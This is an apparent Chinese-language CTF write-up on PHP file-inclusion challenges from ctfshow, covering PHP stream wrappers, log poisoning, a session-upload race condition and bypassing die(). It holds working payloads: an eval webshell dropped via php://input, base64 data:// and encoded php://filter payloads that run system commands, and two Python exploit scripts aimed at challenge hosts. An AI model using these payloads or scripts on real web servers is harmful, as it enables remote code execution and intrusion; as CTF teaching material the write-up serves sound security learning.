前言
我在写关于文件包含的题的时候,总觉得无从下手。一是PHP伪协议并未透彻了解,再就是文件包含能结合的东西有很多。今天我就基于ctfshow的题谈谈,关于文件包含的那些事儿。
简单的PHP伪协议
这类普遍就是考你关于PHP伪协议的了解,一般难度不会过大。因为PHP伪协议已经被各位前辈写的非常详细,我这理就不再班门弄斧了,稍微写写使用的情况。具体请移步:PHP伪协议总结
file://协议
使用条件:
allow_url_fopen:off/on
allow_url_include :off/on
说明:
file:// 文件系统是 PHP 使用的默认封装协议 ,故不受 allow_url_fopen和 allow_url_include 的限制。
常用于已知某文件的绝对路径或相对路径。
用法:
file://[文件的绝对路径和文件名]
http://127.0.0.1/test.php?file=file://D:\phpStudy\WWW\phpinfo.txt
[文件的相对路径和文件名]
http://127.0.0.1/test.php?file=./phpinfo.txt
[http://网络路径和文件名]
http://127.0.0.1/test.php?file=http://127.0.0.1/phpinfo.txt
php://协议
使用条件:
不需要开启allow_url_fopen
仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
(在CTF中,最常用的就是php://input和php://filter,故我仅说明这两个。)
php://input
**说明:**可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。常用来写入一句话木马。
用法:
http://127.0.0.1/test.php?file=php://input
[POST DATA] <?php phpinfo()?> //尝试能否有回显,如果有,可以传马
<?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["awd"];?>’);?>
php://filter
**说明:**在双off的情况下也可以正常使用,常用于读取页面源码。
参数说明:
用法:
http://127.0.0.1/test.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
data://协议
条件:
allow_url_fopen :on
allow_url_include:on
说明:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。 在作用上,data伪协议和php://input是差不多的。
用法:
data://text/plain,
http://127.0.0.1/test.php?file=data://text/plain,<?php phpinfo();?>
data://text/plain;base64, //用base64转码
http://127.0.0.1/test.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
http:// & https:// 协议
条件:
allow_url_fopen :on
allow_url_include:on
说明:常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。
用法:
http://127.0.0.1/test.php?file=http://127.0.0.1/phpinfo.txt
实战演示
ctfshow 文件包含 web79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了php,不能通过php://filter,直接查看flag.php了,但是我们可以通过php://input或者data伪协议执行命令。但是过滤了php,只能用data伪协议,使命令base64转码
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= ---> <?php system('cat flag.php');
通过日志写入进行包含
这种其实也不是特别复杂。
当正常的伪协议出不来,那我们可以尝试,访问日志文件,看是否有权限打开,如果是,那就是日志写入。
话不多说上例题。
ctfshow 文件包含 web80
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这种就是我们说的,常规为协议出不来,但是,刚好又有权限可以去访问日志文件抓包,写马
蚁剑连接
PHP_SESSION_UPLOAD_PROGRESS加条件竞争进行文件包含
在练习前先了解一些知识看到在$_SESSION中添加一组数据,可以想到是利用SESSION_UPLOAD_PROGRESS把恶意语句写入session中,并进行文件包含。但是我们首先了解的是session文件放在哪,然后上传一个session文件( 在Linux系统中,session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session )。
然后我们了解一下php.ini的一些配置
1.session.use_strict_mode=off这个选项默认值为off,表示我们对Cookie中sessionid可控。这一点至关重要,下面会用到。
2. session.upload_progress.enabled = on
enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;
3. session.upload_progress.cleanup = on
cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;
4. session.upload_progress.prefix = "upload_progress_"
prefix+name将表示为session中的键名
5. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;
6.session.use_strict_mode=off
这个选项默认值为off,表示对Cookie中sessionid可控。
session.upload_progress.cleanup = on,代表这类型的题需要使用条件竞争来做。
说了那么多知识,但是并不连贯,用下题把知识连贯起来。
ctfshow 文件包含 web82
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
这道题过滤了大多数的字符,正常的伪协议肯定不行,访问日志也没有权限。这个时候就可以尝试PHP_SESSION_UPLOAD_PROGRESS加条件竞争进行文件包含 。
先在本地创建一个文件
<!DOCTYPE html>
<html>
<body>
<form action="http://097947da-224c-4d92-a3ed-b9ca5e4a77eb.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
随便上传个文件,设置 Cookie :PHPSESSID=flag PHP将会在服务器上创建一个文件:/tmp/sess_flag” 并且在 PHP_SESSION_UPLOAD_PROGRESS 下写入命令
然后 传参?file=/tmp/sess_flag 抓包
两个一起放到爆破模块,进行爆破
就会 就会得到目录,然后在第一次上传文件抓的包里面写的命令改成cat fl0g就行了
或者,通过Sn0w佬的脚本一把梭
# -*- coding: utf-8 -*-
import requests
import io
import threading
url = 'http://097947da-224c-4d92-a3ed-b9ca5e4a77eb.challenge.ctf.show:8080/'
sessID = 'Sn0w'
def write(session):
#判断event的标志是否为True
while event.isSet():
#上传文件要大一点,更有利于条件竞争
f = io.BytesIO(b'Sn0w' * 1024 * 50)
reponse = session.post(
url,
cookies={'PHPSESSID': sessID},
data={'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("cat *.php");?>'},
files={'file':('text.txt',f)}
)
def read(session):
while event.isSet():
reponse = session.get(url+ '?file=/tmp/sess_{}'.format(sessID))
if 'text' in reponse.text:
print(reponse.text)
#将event的标志设置为False,调用wait方法的所有线程将被阻塞;
event.clear()
else:
print('[*]continued')
if __name__ == '__main__':
#通过threading.Event()可以创建一个事件管理标志,该标志(event)默认为False
event = threading.Event()
#将event的标志设置为True,调用wait方法的所有线程将被唤醒;
event.set()
#会话机制(Session)在PHP 中用于保持用户连续访问Web应用时的相关数据
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write, args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read, args=(session,)).start()
这个脚本我还并未理解透彻,但是没什么比一把梭更舒服了。
绕过exit函数/die函数进行文件包含
理论知识就不多说,详见P神文章,文章里面写的比较清楚了。
实例解析
ctfshow 文件包含 web87
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
我们POST的$content
被写到以urldecode($file)
为名的文件中,且在末尾中写入<?php die('大佬别秀了');?>
,导致我们传入的马也无法执行。所以我们要绕过函数die()
因为代码中使用了urldecode($file)
,所以我们需要对$file进行两次编码,第一次浏览器自动解码,第二次依旧是url编码,便可以绕过前面的过滤。POST提交一句话木马,前面的俩a,是因为base64解码4个byte
一组,<?php die('大佬别秀了');?>
解码出来是phpdie
,缺少两个字符,所以添加俩字符
构造payload
?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%32%65%25%37%30%25%36%38%25%37%30
#php://filter/convert.base64-decode/resource=1.php
POST:
aaPD9waHAgc3lzdGVtKCdjYXQgKi5waHAnKTs/Pg==
#aa<?php system('cat *.php');?>
或者用rot13编码的方法
?file=php://filter/string.rot13/resource=shell.php(记得要两次url编码)
DATA:
content=<?cuc cucvasb();?>
当然也可以写个脚本
import requests
import base64
url = 'http://99b7ae00-8317-48d1-8692-9518392e03d6.challenge.ctf.show:8080/'
# php://filter/write=convert.base64-decode/resource=tmp.php
file = '%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%34%25%36%64%25%37%30%25%32%65%25%37%30%25%36%38%25%37%30'
payload = '<?php system("nl *.php");?>'
payload = base64.encodebytes(payload.encode('utf-8')).decode('utf-8')
payload = payload.replace('\n', '')
data = {
'content': 'aa' + payload
}
print(data)
requests.post(url=url + '?file=' + file, data=data)
res = requests.get(url + 'tmp.php')
print(res.text)
总结
把ctfshow的文件包含的知识点都列出来了,但是事实上,这只是文件包含的一小部分,文件包含可以结合的知识点有很多,万变不离其宗,看清本质,知道出题人想考什么才能更好的帮助解题。
参考
https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=1#reply-list
https://blog.csdn.net/weixin_45696568/article/details/112803150
https://blog.csdn.net/weixin_45551083/article/details/110259089
https://blog.csdn.net/qq_46150940/article/details/115639419
https://segmentfault.com/a/1190000018991087